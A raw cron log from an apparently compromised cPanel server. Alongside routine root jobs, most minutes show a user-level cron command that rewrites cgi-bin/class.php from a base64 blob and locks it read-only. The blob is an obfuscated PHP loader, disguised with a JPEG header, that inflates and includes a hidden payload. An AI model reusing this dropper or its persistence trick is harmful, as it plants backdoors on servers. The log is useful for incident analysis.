Sep  9 20:25:01 server CROND[897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:26:01 server CROND[1833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:26:01 server CROND[1832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:26:01 server CROND[1834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:27:01 server CROND[2257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:27:01 server CROND[2258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:27:01 server CROND[2259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:27:01 server CROND[2260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:28:01 server CROND[2650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:28:01 server CROND[2651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:28:01 server CROND[2653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:29:01 server CROND[3148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:29:01 server CROND[3149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:29:01 server CROND[3150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:30:01 server CROND[3541]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:30:01 server CROND[3542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:30:01 server CROND[3548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:30:01 server CROND[3559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:30:01 server CROND[3563]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 20:30:01 server CROND[3564]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:30:01 server CROND[3569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:30:01 server CROND[3571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:30:01 server CROND[3572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:31:01 server CROND[4395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:31:01 server CROND[4396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:31:01 server CROND[4397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:32:01 server CROND[4775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:32:01 server CROND[4776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:32:01 server CROND[4777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:33:01 server CROND[5166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:33:01 server CROND[5168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:33:01 server CROND[5169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:34:01 server CROND[5636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:34:01 server CROND[5638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:34:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:35:01 server CROND[6030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:35:01 server CROND[6031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:35:01 server CROND[6034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:35:01 server CROND[6036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:35:01 server CROND[6038]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:35:01 server CROND[6040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:35:01 server CROND[6037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:35:01 server CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:35:01 server CROND[6042]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 20:36:01 server CROND[6873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:36:01 server CROND[6874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:36:01 server CROND[6875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:37:01 server CROND[7265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:37:01 server CROND[7266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:37:01 server CROND[7267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:38:01 server CROND[7652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
